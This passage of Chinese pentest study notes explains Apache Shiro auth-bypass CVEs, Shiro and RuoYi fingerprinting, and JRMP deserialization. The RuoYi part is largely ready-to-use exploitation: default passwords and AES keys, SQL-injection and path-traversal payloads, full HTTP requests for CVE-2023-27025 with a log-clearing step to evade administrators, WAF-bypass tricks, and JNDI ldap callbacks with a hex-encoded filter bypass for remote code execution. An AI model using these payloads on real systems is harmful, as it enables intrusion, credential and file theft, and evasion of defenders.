}

正常情况下未登录用户直接请求GET /admin/secret会要求认证

但如果GET /public/forward,第一次进入Shiro会匹配/public/forward = anon允许匿名访问,同时Shiro在request中设置alreadyFiltered = true,然后进入Controller,公开Controller执行:

request.getRequestDispatcher("/admin/secret")
       .forward(request, response);

请求被服务器内部转发到/admin/secret。如果Shiro Filter配置为处理FORWARD,那么内部转发时Shiro Filter会再次被调用,这一次Shiro本应获取/admin/secret,然后匹配/admin/** = authc,但该Shiro版本先发现该request已经设置了FILTERED标记,于是直接执行filterChian.doFilter(request,response),认证逻辑没有再次执行,导致由于authc没有执行,最终调用secret()从而使未登录用户访问成功

# CVE-2023-22602

影响范围为Shiro < 1.11.0,SpringBoot > 2.6

该漏洞为Shiro使用Ant风格路径匹配,SprinBoot 2.6+默认使用PathPatternParser,两套匹配规则对同一个请求路径的理解不同,可能出现“Shiro没有匹配到认证规则但Spring MVC成功匹配到受保护的Controller”情况

Spring Boot 2.6之前,Spring MVC默认使用AntPathMatcher,2.6开始默认改成PathPatternParser,这两套匹配器虽然都支持***?{variable},但他们的语义,扩展语法和路径解析方式并不完全相同。

Spring的PathPatternParser除了支持普通的*等,还支持一种捕获剩余路径的语法:

{*path}

例如@GetMapping("/admin/{*path}")可以匹配:

/admin/a
/admin/a/b
/admin/a/b/c
/admin/reports/2023/month

并把剩余陆景和放进path变量,{*path}会匹配直到路径末尾的0个或多个路径段

假设Shiro配置如下:

@Bean
public ShiroFilterFactoryBean shiroFilterFactoryBean() {
    ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();

    Map<String, String> map = new LinkedHashMap<>();

    map.put("/login", "anon");
    map.put("/admin/*", "authc");
    map.put("/**", "anon");

    bean.setFilterChainDefinitionMap(map);
    return bean;
}

Spring Controller:

@RestController
public class AdminController {

    @GetMapping("/admin/{*path}")
    public String admin(@PathVariable String path) {
        return "admin secret: " + path;
    }
}

正常情况下访问/admin/list,Shiro使用Ant风格规则/admin/*匹配执行authc导致未登录用户被拦截,Spring的@GetMapping("/admin/{*path}")同样可以匹配,于是请求在到达Controller之前被Shiro拦截没有任何问题

但通过构造请求GET /admin/reports/2023,Shiro规则/admin/*无法匹配多段路径,所以不会执行authc,匹配上了/** = anon允许匿名访问,但Spring Boot 2.6+中/admin/reports/2023可以匹配/admin/{*path},此时path = /reports/2023,最终未登录用户成功访问后台接口得到admin secret: /reports/2023

这里引用一下参考文章中的总结:

  • CVE-2010-3863因为getRequestUri未标准化路径,可以使用/./进行绕过
  • CVE-2014-0074/Shiro-460由于LDAP服务器开启匿名登录或未授权登录,导致可以使用空用户名搭配空密码或空用户名搭配任意密码
  • CVE-2016-4437/Shiro-550就是著名的反序列化漏洞了
  • CVE-2016-6802因为getContextPath未标准化路径,可以使用/../进行绕过
  • CVE-2019-12422/Shiro-721是对rememberMe功能加密方式的攻击
  • CVE-2020-1957/Shiro-682是由于SpringWeb和Shiro处理方式不同,导致可以使用加路径末尾加斜杆或路径中加分号进行绕过
  • CVE-2020-11989/Shiro-782是由于SpringWeb和Shiro处理方式不同,导致可以使用斜杆双编码或加分号进行绕过
  • CVE-2020-13933是由于SpringWeb和Shiro处理方式不同,导致可以使用分号编码进行绕过
  • CVE-2020-17510是由于SpringWeb和Shiro处理方式不同,导致可以使用点号编码进行绕过
  • CVE-2020-17523是由于SpringWeb和Shiro处理方式不同,导致可以使用空格编码进行绕过
  • CVE-2021-41303/Shiro-825是由于新增逻辑的错误,导致可以绕过第一个需要认证的路径而访问第二个匿名路径
  • CVE-2022-32532是由于Shiro正则代表路径,且路径中含有.号,导致可以使用%0d%0a进行绕过
  • CVE-2022-40664是由于Shiro在进行请求转发或包含时未进行鉴权导致绕过
  • CVE-2023-22602是由于SpringWeb和Shiro使用的路径处理模式不同,导致可以使用/..进行绕过

# Shiro的框架指纹

Shiro的框架指纹不是一个绝对固定的页面标志,而是一组可以用来判断目标是否使用Apache Shiro的特征,其中最常见最有代表性的指纹是rememberMe,尤其是响应中出现Set-Cookie: rememberMe=deleteMe

# rememberMe

Apache Shiro默认的Cookie记住身份功能使用rememberMe作为Cookie名称

官方CookieRememberMeManager的默认配置中,Cookie名称就是rememberMe,默认路径通常是/,Shiro的rememberMe Cookie名称可以被修改,所以它是默认指纹不是绝对特征,正常登录并勾选“rememberMe”之后,响应中可能出现:

Set-Cookie: rememberMe=......; Path=/; HttpOnly

最常用的确认特征:rememberMe=deleteMe,如果Shiro收到一个无法解析、无法解码或已失效的rememberMe Cookie,它通常会要求浏览器删除这个Cookie,历史版本中常见的响应是:

Set-Cookie: rememberMe=deleteMe; Path=/; Expires=Thu, 01-Jan-1970 00:00:00 GMT

常见识别思路是通过发送一个无效的rememberMe Cookie,Shiro尝试读取但是发现无法解析之后响应中删除rememberMe,出现rememberMe=deleteMe

# 响应中出现Shiro类名

例如错误页面、日志泄露或调试信息中出现org.apache.shiro,具体类名可能包括:

org.apache.shiro.authc.AuthenticationException
org.apache.shiro.authc.UnknownAccountException
org.apache.shiro.authc.IncorrectCredentialsException
org.apache.shiro.authz.UnauthorizedException
org.apache.shiro.session.UnknownSessionException
org.apache.shiro.web.filter
org.apache.shiro.web.servlet

例如org.apache.shiro.authz.UnauthorizedException: Subject does not have permission

# 默认登录字段

Shiro的FormuthenticationFilter默认使用:

username
password
rememberMe

登录表单可能类似:

<input name="username">
<input name="password">
<input name="rememberMe" type="checkbox">

这三个是默认字段名,属于中低强度指纹

# 默认登录路径

传统Shiro配置中可能出现/login.jsp,例如authc.loginUrl = /login.jsp。可能出现:

HTTP/1.1 302 Found
Location: /login.jsp

这种也属于弱指纹,因为普通Java Web应用也可能使用/login.jsp

# 未认证跳转行为

访问受保护接口时,可能返回:

HTTP/1.1 302 Found
Location: /login

或者

HTTP/1.1 302 Found
Location: /login.jsp

这是Shiro authc过滤器的常见表现,但不是Shiro独有,Spring Security、Sa-Token、自定义拦截器也有可能这样处理

# 403页面

访问需要角色或权限的接口时可能返回:

HTTP/1.1 403 Forbidden

或跳转

/unauthorized

这种特征非常弱,因为几乎所有的安全库康佳都会返回403

# 判断流程

  • 查看响应头

    curl -k -i https://zlaryy.top/

    观察是否出现Set-Cookie: rememberMe=...或者Set-Cookie: JSESSIONID=...

    rememberMe大概率可能是Shiro线索,JSESSIONID只能说明可能是Java Web

  • 查看登录页面:检查表单字段:

    name="username"
    name="password"
    name="rememberMe"

    如果同时出现rememberMe Cookie+rememberMe 登录参数,可能进一步确定是Shiro

  • 发送无效Cookie

    curl -k -i -H 'Cookie: rememberMe=invalid-value' https://zlaryy.top/

    观察Set-Cookie: rememberMe=deleteMe,或者其他删除Cookie的响应,通常可以作为较强的Shiro的指纹

  • 查看错误信息:观察页面、接口响应、异常堆栈中是否出现:

    org.apache.shiro
    Subject
    Realm
    AuthenticationToken
    AuthorizationException
    UnauthenticatedException

    如果直接出现org.apache.shiro基本可以确认为Shiro

# Shiro中有key无链的利用方法

参考文章:实战shiro有key无链rce_shiro有key没链怎么利用-CSDN博客

工具:shiro_tool.jar和ysoserial-0.0.6-SNAPSHOT.jar

有key无链,即Shiro有rememberMe Key,但没有可用反序列化链,常见利用方向是:

伪造remeberMe身份
做出网探测/DNS回连
用JRMPClient做二阶段跳板
利用目标本地已有的JNDI/BeanFactory/EL等组件
针对特定JDK版本找纯JDK链

# JRMP与JRMPClient

RMI:Remote Method Invocation,远程方法调用,它允许一个Java程序调用另一个JVM中对象的方法,例如客户端JVM调用服务端JVM的remote.sayHello("ZLARYY"),实际上是客户端把方法名、参数序列化,通过网络发送给服务端之后,服务端反序列化参数进而调用真实对象的方法,然后把返回值序列化返回给客户端,客户端反序列化返回值,所以RMI本质上依赖网络通信和Java序列化

JRMP:Java Remote Method Protocol,是Java RMI默认使用的底层协议

# JRMP的整体结构

RMI/JRMP中通常有几个重要组件:

客户端
  |
  | 1. 查找远程对象
  v
RMI Registry
  |
  | 2. 返回远程对象引用
  v
客户端获得 Stub
  |
  | 3. Stub 通过 JRMP 连接服务端
  v
远程对象服务端

Registry:RMI Registry是一个“名字服务”,类似电话薄:

"UserService":某个远程对象
"OrderService":某个远程对象

客户端通过名字查找:registry.lookup("UserService"),Registry通常监听1099

Stub:可以理解为远程对象代理,客户端拿到的不是服务端的真实对象,而是一个代理对象,例如:

UserService service = lookup(...);
service.getUser();

这个service可能并不是真正的UserServiceImpl,而是一个Stub,Stub内部保存了远程主机地址、远程端口、远程对象编号和远程调用信息

Remote Reference:Stub内部最关键的内容是远程引用,常见相关类包括:

RemoteRef
UnicastRef
LiveRef
ObjID
TCPEndpoint

可粗略地理解为:

UnicastRef
  └── LiveRef
       ├── TCPEndpoint
       │    ├── host
       │    └── port
       └── ObjID

也就是说一个远程引用里狐疑包含连接谁、连接哪个端口、调用哪个远程对象

# JRMP通信过程

一个典型的JRMP调用流程为:客户端向服务端发起TCP连接,然后服务端向客户端发起JRMP握手,客户端发送远程对象ID(发送方法调用信息,发送序列化参数),然后服务端反序列化调用目标方法,然后服务端序列化返回值传输给客户端,客户端反序列化返回值。重点在于JRMP的调用参数和返回值通常使用Java原生序列化传输

在JRMP建立连接时,客户端会先发送协议头,典型魔数为JRMI,对应十六进制大致是4a 52 4d 49,然后会有协议版本、协议类型、调用类型、对象标识、方法信息、序列化参数。常见的协议模式包括StreamProtocolSinglgOpProtocolMultiplexProtocol,但在普通开发中开发者不会直接操作这些字段,因为Java RMI框架会自动完成

RMI需要在网络上传递Java对象,remote.doSomethinhg(userObject)userObject可能会被序列化然后发送给服务端,服务端收到后调用ObjectInputStream.readObject(),这就意味着客户端可以控制发送的序列化对象,服务端会对它进行反序列化,如果服务端classpath中存在危险gadget chain就可能触发反序列化漏洞,而服务端把序列化的返回值发送给客户端进行反序列化,所以RMI/JRMP的风险是双向的

JRMPClient:JRMPClient通常不是Java标准库中的某个正式组件名,往往是指一种payload类型:构造一个包含恶意/受控远程引用的对象,让目标在反序列化时主动连接指定JRMP服务,其利用的是JDK自带的RMI远程引用机制

即目标应用反序列化JRMPClient对象,对象内部触发远程引用逻辑从而连接攻击者控制的host:port,发起JRMP服务(让反序列化目标主动发起JRMP服务)

JRMPClient一般会构造类似这样的对象关系:

RemoteObject
   |
   └── RemoteRef
         |
         └── UnicastRef
               |
               └── LiveRef
                     |
                     ├── TCPEndpoint(host, port)
                     └── ObjID

其中host为指定远端主机,port为指定远端端口

# JRMPClient的两个阶段模型

JRMPClient有两个阶段模型,第一个阶段对象在目标本地产生一次RMI/JRMP调用,让目标主动连接JRMPListener,Listener按JRMP协议返回一个序列化对象(第二阶段对象)

第一次反序列化发生在漏洞入口rememberMe Cookie,经过base64解码和AES解密之后调用ObjectInputStream.readObject()让目标主动连接某个host:port

第二次反序列化发生在目标作为RMI客户端读取远端返回值时,目标已经连接到了JRMPListener,随后会读取服务端响应

事实上第一阶段完整流程可以概括为:

1. 客户端发送 rememberMe Cookie
2. Shiro 解密 Cookie
3. Shiro 开始反序列化对象
4. 反序列化容器对象
5. 容器恢复过程中触发 hashCode / equals 等方法
6. 动态代理接管调用
7. RemoteObjectInvocationHandler 处理调用
8. UnicastRef 根据 LiveRef 获取地址
9. JVM 连接指定 host:port
10. 发出 JRMP 调用数据

第二阶段可以抽象为:

目标
  |
  | 发送 JRMP 调用
  v
JRMPListener
  |
  | 返回 JRMP 响应
  | 响应中包含序列化对象
  v
目标 RMI 客户端
  |
  | 读取返回值
  v
第二次反序列化

但Listener不能随便返回任意字节,必须返回格式正确的JRMP响应和合法的Java序列化数据,否则目标只会把它视作协议错误

分成两个阶段可以绕过Cookie大小限制,适合盲环境,避免在Cookie中直接放完整链

# 绕过WAF的打法

参考文章:第91篇:shiro反序列化漏洞绕waf防护的方法总结(上篇)-腾讯云开发者社区-腾讯云

  • HTTP请求方法随机:将HTTP请求头变为随机字符串,例如将GET请求方法变成xxxxT方法,这个方法与Web应用所处的中间件有关,在部分中间件下不适用
  • HTTP请求方法置空:对于tomcat,将HTTP请求方法置空也是可以正常发包并返回命令执行结果,这种畸形数据包在经过waf设备会被放行,同样与中间件有关,在Weblogic中间件下不适用
  • Shiro数据包中添加脏数据:rememberMe=后面的数据包添加一些特殊字符仍然可以正常发包,原因是Shiro组件在处理点号、反引号等特殊字符会替换为空
  • Shiro字段中添加空白字符:rememberMe关键词附近添加Tab等空白字符可以正常执行命令
  • Hst头域名变IP地址:很多公司对于目标网站可能只对xxx.com域名进行了waf防护,这时候将host头的名替为域名解析出来的IP就可以绕过waf了,比如将www.xxx.com替换为192.168.237.128

# 利用工具

参考文章:攻防打点|Shiro漏洞利用大全【附工具】_shiro利用工具-CSDN博客

Shiro_Attack2:GitHub - SummerSec/ShiroAttack2: shiro反序列化漏洞综合利用(仅限授权测试使用) · GitHub

TscanPlus:GitHub - TideSec/TscanPlus: 一款综合性网络安全检测和运维工具,旨在快速资产发现、识别、检测,构建基础资产信息库,协助甲方安全团队或者安全运维人员有效侦察和检索资产,发现存在的薄弱点和攻击面。 · GitHub

ehole指纹工具识别:GitHub - EdgeSecurityTeam/EHole: EHole(棱洞)3.0 重构版-红队重点攻击系统指纹探测工具 · GitHub

# 若依相关

参考文章:什么是若依(RuoYi)框架? - 知乎

RuoYi(若依)框架的介绍与基本使用(超详细分析)_若依框架-CSDN博客

RuoYi是一套开源的Java后台管理系统和快速开发脚手架,属于把Spring Boot、权限认证、数据库访问、前端页面等技术组装好,提供一套可直接二开的后台系统模版。开发只需要在若依的基础上增加自己的业务功能,而不必从零编写登录、用户管理、权限管理、日志管理等通用模块

# 若依的整体结构

以常见的RuoYi-Vue为例,官方的RuoYi-Vue采用前后端分离模式,前端提供Vue2、Vue3以及TypeScript等不同版本,后端主要由Spring Boot、Spring Security、Redis和JWT构成

# Vue+Element UI前端
发送HTTP/API请求
# Spring Boot后端
Spring Security:认证与授权
JWT:保存登录信息
Redis:缓存登录信息
Controller:接收请求
Service:业务逻辑
Mapper:数据库操作
MySQL:保存数据

除了RuoYi-Vue还有RuoYi,RuoYi-Cloud、RuoYi-Fast、RuoYi-Vue-Plus/RuoYi-Cloud-Plus以及各类二次开发版本

RuoYi:传统单体版本,前后端没有完全分离,适合结构相对简单的后台项目

RuoYi-Cloud:微服务版本,主要使用Spring Boot、Spring Cloud、Spring Cloud Alibaba、Nacos、Redis、Gateway,适合将用户、文件、任务等功能拆分成多个服务的分布式项目

# 框架指纹

  • 很多未深度定制的RuoYi项目,登录页或首页会直接出现:若依管理系统或者若依后台管理框架

    <title>若依管理系统</title>
  • 常见版权信息:

    Copyright © 2018 ruoyi.vip All Rights Reserved.
  • RuoYi-Vue常见接口:

    /login
    /captchaimage
    /getInfo
    /getRouters
    /logout

    其中比较典型的是验证码接口GET /captchaimage,常见返回结构:

    {
      "msg": "操作成功",
      "code": 200,
      "captchaEnabled": true,
      "img": "base64...",
      "uuid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
    }

    这里面有codemsgimguuidcaptchaEnabled,登录接口一般是POST /login,请求参数常见为:

    {
      "username": "admin",
      "password": "admin123",
      "code": "xxxx",
      "uuid": "xxxx"
    }

    登录成功返回:

    {
      "msg": "操作成功",
      "code": 200,
      "token": "xxxxx"
    }
  • RuoYi后端经常使用AjaxResult作为统一返回对象,因此API响应结构通常类似:

    {
      "code": 200,
      "msg": "操作成功",
      "data": {}
    }

    分页接口常见:

    {
      "total": 10,
      "rows": [],
      "code": 200,
      "msg": "查询成功"
    }
  • 常见业务接口路径指纹:

    /system/user/list
    /system/role/list
    /system/menu/list
    /system/dept/list
    /system/post/list
    /system/dict/type/list
    /system/config/list
    /system/notice/list

    监控模块:

    /monitor/online/list
    /monitor/job/list
    /monitor/logininfor/list
    /monitor/operlog/list
    /monitor/server
    /monitor/cache

    工具模块:

    /tool/gen/list
    /tool/swagger

    个人中心:

    /system/user/profile
    /system/user/profile/avatar

    文件相关:

    /common/upload
    /common/download
    /common/download/resource

    常见路由获取接口:

    /getInfo
    /getRouters
  • 静态资源指纹:

    RuoYi-Vue使用Vue+Element UI,前端构架后常见资源:

    /static/js/app.xxxxx.js
    /static/js/chunk-vendors.xxxxx.js
    /static/css/app.xxxxx.css
    /favicon.ico

    虽然这些路径不是RuoYi独有,但JS文件中经常能搜索到:

    ruoyi
    若依
    getRouters
    captchaImage
    system/user
    system/menu
    monitor/server
  • Java包名和类名指纹:

    # RuoYi原版常见包名
    com.ruoyi
    例如:
    com.ruoyi.framework
    com.ruoyi.system
    com.ruoyi.common
    com.ruoyi.web

    常见类名:

    AjaxResult
    BaseController
    TableDataInfo
    SecurityUtils
    TokenService
    SysUser
    SysRole
    SysMenu
    LoginUser

    二次开发版本也可能修改包名,比如org.dromara常见于RuoYi-Vue-Plus或RuoYi-Cloud-Plus

  • Swagger/Knife4j指纹:不分RuoYi项目会开放接口文档,常见地址:

    /swagger-ui.html
    /swagger-ui/index.html
    /v2/api-docs
    /v3/api-docs
    /doc.html

    文档标题可能是若依系统接口文档、RuoYi API、RuoYi接口文档

    RuoYi-Cloud或Plus版本中常见Knife4j:/doc.html

  • Actuator指纹:可以通过访问

    /actuator
    /actuator/health
    /actuator/info
    /actuator/env

    其中可能暴露服务名:

    ruoyi-admin
    ruoyi-system
    ruoyi-auth
    ruoyi-gateway
    ruoyi-monitor

    RuoYi-Cloud中常见服务名称:

    ruoyi-gateway
    ruoyi-auth
    ruoyi-system
    ruoyi-file
    ruoyi-gen
    ruoyi-job
  • Cookie和认证方式指纹:

    RuoYi-Vue:通常使用JWT Token:

    Authorization: Bearer xxxxx

    前端本地存储中可能出现Admin-Token或者token

    RuoYi-Fast:较老版本通常使用Shiro,因此可能出现rememberMeJSESSIONID,但仍需结合页面和接口判断是否是RuoYi-Fast

  • RuoYi-Fast是传统前后端一体架构,一般是Spring-Boot+Thymeleaf+Shiro,典型特征:

    若依管理系统
    /login
    /index
    /sys/user
    /system/user

    页面模版中可能出现:

    thymeleaf
    lay-ui
    bootstrap
    jquery

    常见静态资源路径:

    /css/
    js/
    ajax/libs/
    ruoyi/

    以及Shiro相关Cookie:rememberMe

  • RuoYi-Cloud是微服务版本,常见结构:

    Gateway
    Auth
    System
    File
    Job
    Gen
    Monitor

    常见服务名:

    ruoyi-gateway
    ruoyi-auth
    ruoyi-system
    ruoyi-file
    ruoyi-job
    ruoyi-gen

    接口可能带网关路由前缀:

    /auth/login
    /system/user/list
    /monitor/operlog/list

    服务注册中心常见:Nacos,如果系统暴露Nacos配置,可能看到:

    ruoyi-gateway-dev.yml
    ruoyi-auth-dev.yml
    ruoyi-system-dev.yml

了解框架指纹之后我们开始学习一下RuoYi的相关漏洞,参考文章:渗透测试--实战若依ruoyi框架_若依框架漏洞-CSDN博客

若依(RuoYi)框架漏洞总结 - 渗透测试中心 - 博客园

# 弱口令

若依系统常见的弱口令为:

admin/admin123
ry/admin123
ruoyi/admin123
用户:admin ruoyi druid
密码:123456 admin druid admin123 admin888

# Shiro默认密钥

若依默认使用shiro组件,所以可以试试shiro的rememberMe漏洞来getshell,影响版本RuoYi < V-4.6.2

在配置文件中能看到Shiro的密钥是写在配置文件中的,如:

shiro:
  cookie:
    domain:
    path: /
    httpOnly: true
    maxAge: 30
    cipherKey: zSyK5Kp6PZAAjlT+eeNMlg==
RuoYi版本号 对象版本的默认AES密钥
4.6.1-4.3.1 zSyK5Kp6PZAAjlT+eeNMlg==
3.4-及以下 fCq+/xW488hMTCD+cmJ3aQ==

RuoYi-4.6.2版本开始就使用随机密钥的方式,而不使用固定密钥,若要使用固定密钥需要开发者自己指定密钥,因此4.6.2版本之后,在没有获取到密钥的情况下无法再进行利用

# SQL注入-/system/role/list

该漏洞的问题出现在params[dataScope],RuoYi的实体类一般继承自BaseEntity

public class BaseEntity
{
    private Map<String, Object> params;
}

Spring MVC可以把请求参数params[dataScope]绑定到role.getParams().get("dataScope"),而在MyBatis XML中,部分版本会写成${params.dataScope}而没有使用#{paramls.dataScope},这就导致如果dataScope能被用户控制的话,直接拼接进入实现SQL注入

正常情况下dataScope适用于数据权限控制,RuoYi通常通过@DataScope(deptAlias = "d")注解,在AOP切面构造SQL条件,例如:

@DataScope(deptAlias = "d")
public List<SysRole> selectRoleList(SysRole role)
{
    return roleMapper.selectRoleList(role);
}

切面会根据当前登录用户生成类似AND d.dept_id IN (...),然后放入params.put("dataScope",sqlString),理论上这个值应当完全由服务端产生,如果某些逻辑条件没有进入数据权限拼接流程,客户端原来传入的params[dataScope]就可能保留

${params.dataScope}这段代码时MyBatis的动态SQL之一,主要用于在SQL查询中嵌入外部定义的字符串或参数,${}表示取出params对象中名为dataScope的属性值,并将其直接嵌入到SQL查询中

在一个基于角色权限管理的系统中,不同的用户可能有权限查看不同的数据记录,管理员可能可以查看所有部门的记录,而普通用户只能查看自己部门的记录,在这种情况下,dataScope的值可以是一个根据用户角色动态生成的SQL片段,如AND dept_id IN (SELECT dept_id FROM user_dept_access WHERE user_id = #{userID})用以限定查询结果只包含特定部门的用户信息

payload:

&params[dataScope]=and extractvalue(1,concat(0x7e,(select user()),0x7e))

其他注入点(< V-4.6.2):

# /role/export
params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

# /user/list

# /dept/list

# /role/authUser/allocatedList

# /role/authUser/unallocatedList

# /dept/edit
DeptName=xxxxxxxxxxx&DeptId=100&ParentId=555&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat(0,(select user()))));#

# /tool/gen/createTable(V-4.7.1-V-4.7.5)
POST

sql=CREATE table ss1 as SELECT/**/* FROM sys_job WHERE 1=1 union/**/SELECT/**/extrsctvalue(1,concat(0x7e,(select/**/version()),0x7e));

# CNVD-2021-01931任意文件下载

影响版本为RuoYi < 4.5.1

若依为了提供文件下载功能,通常会暴露类似接口:

GET /common/download/resource

常见参数为resource

正常情况下前端可能传入/profile/upload/2021/08/demo.txt,后端会把这个资源路径拼接到若依配置的上传目录中,然后将文件返回给用户。

但旧版本对于resource参数校验不严格导致可以利用目录穿越字符../让程序访问原本下载目录之外的文件,因此可能造成任意文件读取、任意文件下载、敏感配置泄露、数据库密码泄露,旧版本的FileUtils.checkAllDownload(resource)通常主要检查的是文件类型、后缀名、是否属于禁止下载文件而没有对路径进行检查

最常见的漏洞接口为/common/download/resource,不分若依分支或二次开发版本中也可能涉及/common/download

payload:

resource=/profile/../../../../../etc/passwd
resource=/profile/../../../../../windows/win.ini

# CVE-2023-27025 若依任意文件下载

该漏洞是RuoYi 4.7.6版本中存在的权限绕过与任意文件下载组合漏洞,攻击者通过后台管理接口添加恶意定时任务,修改系统配置文件路径,绕过下载功能的白名单限制,最终实现任意文件下载,漏洞本质是权限控制缺失(允许低权限用户操作敏感接口)和路径校验不严(未对动态修改的配置路径进行二次校验)的综合结果

影响版本为RuoYi <= 4.7.6

利用条件:

  1. 权限要求:攻击者需要获取管理员Cookie(如JSESSIONID)或其他权限绕过漏洞

    若后台接口未授权即可访问,则漏洞危害升级为“未授权任意文件下载”

  2. 系统配置:目标系统启用了定时任务模块(默认开启)

核心链路是通过能访问/调用定时任务管理接口的低权限后台账户去创建恶意定时任务,利用定时任务的动态方法调用能力修改RuoYi的运行时文件路径配置,然后调用正常下载接口,由于下载目录被修改到敏感目录从而实现任意文件下载

RuoYi的定时任务功能允许配置一个“调用目标”,类似beanName.methodName(...),后台会通过反射或Spring Bean调用相应方法,RuoYi的定时任务功能通常会解析类似springBean.method(params),然后找到对应Spring Bean并执行方法,如果只做简单黑名单而没有严格白名单就可能调用到配置类的setter方法,系统内部服务方法,文件相关方法,敏感管理方法,因此可能通过定时任务修改类似:

RuoYiConfig.profile
RuoYiConfig.downloadPath

这样的运行时配置,如果攻击者通过定时任务将basePath修改为系统敏感目录,后续下载接口仍会认为这是一个合法的服务端配置路径,于是最终路径可能变成敏感目录+用户指定文件名

payload:

添加任务绕过白名单(自定义下载文件路径)

POST /monitor/job/add HTTP/1.1
Host: 10.40.107.67
Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=7c625b5d-cd39-49fd-87db-bbb64c596c1b
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 214
Connection: close

createBy=admin&jobId=161&jobName=test111&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('/Users/apple/Desktop/Locks/javafx.txt')&cronExpression=0%2F10+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=
  • 通过调用 ruoYiConfig.setProfile() 方法,将系统配置文件路径动态修改为攻击者指定的路径(如 /Users/apple/Desktop/Locks/javafx.txt)。
  • 此操作绕过了下载功能原本的“固定目录白名单”限制,将下载路径指向自定义位置。

执行定时任务

POST /monitor/job/run HTTP/1.1
Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=7c625b5d-cd39-49fd-87db-bbb64c596c1b
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 10.40.107.67
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 9
Connection: close

jobId=117
  • 立即执行 jobId=117 对应的定时任务,触发 ruoYiConfig.setProfile() 方法调用,完成配置文件路径的修改。
  • 修改后,系统将从新的配置路径(攻击者指定路径)读取文件。

清理任务日志:

POST /monitor/jobLog/clean HTTP/1.1
Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=7c625b5d-cd39-49fd-87db-bbb64c596c1b
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 10.40.107.67
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 0
Connection: close
  • 删除任务执行日志,避免管理员发现恶意任务记录。
  • 此步骤非漏洞必要环节,但常用于隐蔽攻击行为。

触发任意文件下载:

GET /common/download/resource?resource=2.txt HTTP/1.1
Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=7c625b5d-cd39-49fd-87db-bbb64c596c1b
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 10.40.107.67
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
  • 下载功能仅校验“配置文件中的路径”,未对动态修改后的路径进行二次白名单校验。

对路径参数进行URL编码或Unicode编码绕过WAF检测:

invokeTarget=ruoYiConfig.setProfile('%2F%65%74%63%2F%70%61%73%73%77%64')

# 定时任务RCE

由于RuoYi后台计划任务处对于传入的“调用目标字符串”没有任何校验,导致攻击者可以调用任意类、方法及参数触发反射执行命令。影响版本为V-4.7.8

RuoYi的定时任务模块一般基于Quartz,后台可以配置任务名称、Cron表达式、调用目标、是否并发、任务状态,调用目标,调用目标常见形式类似ryTask.ryNoParams或者ryTask.ryParams('参数'),意思是找到名为eyTask的Spring Bean,再调用其中的ryNoParams或ryParams方法,后台大致会经过sys_job表再到invoke_target字段,解析Bean名和方法名触发SpringUtils.getBean(beanName),实现Java反射调用method.invoke(...),所以定时任务本质上是一个由数据库驱动的内部方法调用器

RuoYi中常见的调用流程大致类似:

Object bean = SpringUtils.getBean(beanName);

Method method = bean.getClass().getMethod(
    methodName,
    parameterTypes
);

method.invoke(bean, parameters);

正常用途为调用业务任务,例如:

@Component("cleanLogTask")
public class CleanLogTask
{
    public void clean()
    {
        // 清理日志
    }
}

然后定时任务配置cleanLogTask.clean,但问题在于如果beanName、methodName、参数都能被攻击者控制,那么这个定时任务模块就可以作为反射调用入口

payload:

JNDI

javax.naming.InitialContext.lookup('ldap://127.0.0.1:1389/deserialJackson')

payload中可以执行反弹shell、漏洞探测、命令执行

DNSlog

javax.naming.InitialContext.lookup('ldap://dnslog')

目标字符串不允许使用'ldap(s)'调用,因此使用SQL注入加十六进制编码绕过修改

运行此命令之后可以成功执行:

genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'Hack By 1ue' WHERE job_id = 1;')

然后需要修改执行命令:

genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'Hack By 1ue' WHERE job_id = 1;')
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3132372e302e302e313a313338392f646573657269616c4a61636b736f6e2729 WHERE job_id = 1;')

执行被修改的任务之前需要开启JNDI
需要下载cckuailong师傅的JNDI-Injection-Exploit-Plus项目(https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/releases/tag/2.3)。
jdk版本要求1.8

java -jar '.\JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar' -C calc -A 127.0.0.1

执行被修改的1任务
JNDI

javax.naming.InitialContext.lookup('ldap://127.0.0.1:1389/deserialJackson')

payload中可以执行反弹shell、漏洞探测、命令执行功能
DNSLOG

javax.naming.InitialContext.lookup('ldap://dnslog')

目标字符串不允许'ldap(s)'调用且不能存在括号,因此我们使用SQL注入加十六进制编码来进行绕过修改
https://www.bejson.com/convert/ox2str/

这个部分还是建议看参考文章:若依(RuoYi)框架漏洞总结 - 渗透测试中心 - 博客园

# fastjson反序列化

